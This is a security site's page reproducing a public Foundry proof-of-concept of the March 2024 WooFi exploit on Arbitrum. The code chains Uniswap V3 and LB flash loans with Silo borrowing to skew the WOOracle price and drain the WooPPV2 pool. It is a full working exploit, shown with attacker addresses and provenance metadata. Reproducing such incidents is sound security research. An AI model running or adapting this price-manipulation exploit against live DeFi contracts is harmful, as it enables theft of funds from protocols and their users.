Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/Woofi_exp.sol

Public reproduction file for dataset entry Woofi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/Woofi_exp.sol184 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~8M
8// Attacker : https://arbiscan.io/address/0x9961190b258897bca7a12b8f37f415e689d281c4
9// Attack Contract : https://arbiscan.io/address/0xc3910dca5d3931f4a10261b8f58e1a19a13e0203
10// Attack Contract(Main logic) : https://arbiscan.io/address/0x1759f791214168e0292ab6b2180da1c4cf9b764e
11// Vulnerable Contract : https://arbiscan.io/address/0xeff23b4be1091b53205e35f3afcd9c7182bf3062 (WooPPV2)
12// Attack Tx : https://arbiscan.io/tx/0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd
14// @Analysis
15// https://twitter.com/spreekaway/status/1765046559832764886
16// https://twitter.com/PeckShieldAlert/status/1765054155478175943
18//interface IUniswapV3Flash {
19// function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
20//}
22interface ILBTFlashloan {
23 function flashLoan(ILBFlashLoanCallback receiver, bytes32 amounts, bytes calldata data) external;
26interface ILBFlashLoanCallback {
27 function LBFlashLoanCallback(
28 address sender,
29 IERC20 tokenX,
30 IERC20 tokenY,
31 bytes32 amounts,
32 bytes32 totalFees,
33 bytes calldata data
34 ) external returns (bytes32);
37interface ISilo {
38 function deposit(
39 address _asset,
40 uint256 _amount,
41 bool _collateralOnly
42 ) external returns (uint256 collateralAmount, uint256 collateralShare);
44 function liquidity(
45 address _asset
46 ) external view returns (uint256);
48 function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);
50 function repay(address _asset, uint256 _amount) external returns (uint256 repaidAmount, uint256 burnedShare);
52 function withdraw(
53 address _asset,
54 uint256 _amount,
55 bool _collateralOnly
56 ) external returns (uint256 withdrawnAmount, uint256 withdrawnShare);
59interface IWooPPV2 {
60 function swap(
61 address fromToken,
62 address toToken,
63 uint256 fromAmount,
64 uint256 minToAmount,
65 address to,
66 address rebateTo
67 ) external returns (uint256 realToAmount);
69 function poolSize(
70 address token
71 ) external view returns (uint256);
74interface IWooracleV2 {
75 struct State {
76 uint128 price;
77 uint64 spread;
78 uint64 coeff;
79 bool woFeasible;
80 }
82 function state(
83 address base
84 ) external view returns (State memory);
87contract Woofi_exp is Test {
88 IERC20 public constant WOO = IERC20(0xcAFcD85D8ca7Ad1e1C6F82F651fA15E33AEfD07b);
89 IERC20 public constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
90 IERC20 public constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
92 address public constant WooPPV2 = address(0xeFF23B4bE1091b53205E35f3AfCD9C7182bf3062);
93 address public constant Silo = address(0x5C2B80214c1961dB06f69DD4128BcfFc6423d44F);
94 address public constant Univ3pool = address(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443); //usdce/weth pool
96 address public constant LBT = address(0xB87495219C432fc85161e4283DfF131692A528BD); // woo/weth
98 address public constant WooracleV2 = address(0x73504eaCB100c7576146618DC306c97454CB3620);
100 uint256 public woo_lbt_amount;
102 uint256 public uni_flash_amount;
104 function setUp() public {
105 vm.createSelectFork("arbitrum", 187_381_784);
106 vm.label(address(USDCe), "USDCe");
107 vm.label(address(WETH), "WETH");
108 vm.label(address(WOO), "WOO");
109 vm.label(address(LBT), "LBT");
110 vm.label(address(WooracleV2), "WooracleV2");
111 vm.label(address(Silo), "Silo");
112 vm.label(address(Univ3pool), "Univ3pool");
113 vm.label(address(WooPPV2), "WooPPV2");
114 vm.label(address(this), "Attacker");
115 }
117 function testExploit() public {
118 WOO.approve(WooPPV2, type(uint256).max);
119 WOO.approve(Silo, type(uint256).max);
120 USDCe.approve(WooPPV2, type(uint256).max);
121 USDCe.approve(Silo, type(uint256).max);
123 uni_flash_amount = USDCe.balanceOf(Univ3pool) - 10_000_000_000;
124 IUniswapV3Flash(Univ3pool).flash(address(this), 0, uni_flash_amount, new bytes(1));
126 console.log("USDCe after hack: %s", USDCe.balanceOf(address(this)));
127 console.log("WOO after hack: %s", WOO.balanceOf(address(this)));
128 console.log("WETH after hack: %s", WETH.balanceOf(address(this)));
129 }
131 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
132 uint256 weth_amount = WETH.balanceOf(address(this));
133 uint256 usdc_amount = USDCe.balanceOf(address(this));
134 woo_lbt_amount = WOO.balanceOf(LBT) - 100;
136 ILBTFlashloan(LBT).flashLoan(
137 ILBFlashLoanCallback(address(this)),
138 bytes32(woo_lbt_amount),
139 abi.encodePacked(bytes32(woo_lbt_amount), bytes32(0))
140 );
142 USDCe.transfer(Univ3pool, uni_flash_amount + amount1);
143 }
145 function LBFlashLoanCallback(
146 address sender,
147 IERC20 tokenX,
148 IERC20 tokenY,
149 bytes32 amounts,
150 bytes32 totalFees,
151 bytes calldata data
152 ) external returns (bytes32) {
153 uint256 totalFees_ = uint256(totalFees);
154 uint256 usdc_deposit_amount = 7_000_000_000_000;
155 ISilo(Silo).deposit(address(USDCe), usdc_deposit_amount, true);
156 uint256 woo_liquidity_amount = ISilo(Silo).liquidity(address(WOO));
157 ISilo(Silo).borrow(address(WOO), woo_liquidity_amount);
158 USDCe.transfer(WooPPV2, 2_000_000_000_000);
159 IWooPPV2(WooPPV2).swap(address(USDCe), address(WETH), 2_000_000_000_000, 0, address(this), address(this));
160 IWooracleV2(WooracleV2).state(address(WOO));
161 USDCe.transfer(WooPPV2, 100_000_000_000);
162 IWooPPV2(WooPPV2).swap(address(USDCe), address(WOO), 100_000_000_000, 0, address(this), address(this));
163 IWooracleV2(WooracleV2).state(address(WOO));
164 // uint256 woo_amount_after = WOO.balanceOf(address(this));
165 uint256 woo_amount_swap = 7_856_868_800_000_000_000_000_000; //@note adjusted value, otherwise overflow in price calculation
166 WOO.transfer(WooPPV2, woo_amount_swap);
167 IWooPPV2(WooPPV2).swap(address(WOO), address(USDCe), woo_amount_swap, 0, address(this), address(this));
168 IWooracleV2(WooracleV2).state(address(WOO));
169 IWooPPV2(WooPPV2).poolSize(address(WOO));
171 USDCe.balanceOf(address(this));
172 uint256 usdc_amount_drain = 926_342; //@note another ajusted value to reflect the pool size
174 USDCe.transfer(WooPPV2, usdc_amount_drain);
175 IWooPPV2(WooPPV2).swap(address(USDCe), address(WOO), usdc_amount_drain, 0, address(this), address(this));
177 ISilo(Silo).repay(address(WOO), type(uint256).max);
178 ISilo(Silo).withdraw(address(USDCe), type(uint256).max, true);
179 WOO.transfer(LBT, woo_lbt_amount + totalFees_ + 10_000);
180 return keccak256("LBPair.onFlashLoan");
181 }
183 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Woofi” (2024-03-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9961190b258897bca7a12b8f37f415e689d281c4

  • Attack Contract

    0xc3910dca5d3931f4a10261b8f58e1a19a13e0203

  • Attack Contract

    0x1759f791214168e0292ab6b2180da1c4cf9b764e

  • Vulnerable Contract

    0xeff23b4be1091b53205e35f3afcd9c7182bf3062

  • Attack Tx

    0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd

File record

Name
Woofi
Path
src/test/2024-03/Woofi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
72c6df586a766fcf8629049d8d3ad0a43b124a53
Language
Solidity
Size
185 lines
Date
2024-03-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/Woofi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 72c6df586a766fcf8629049d8d3ad0a43b124a53, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.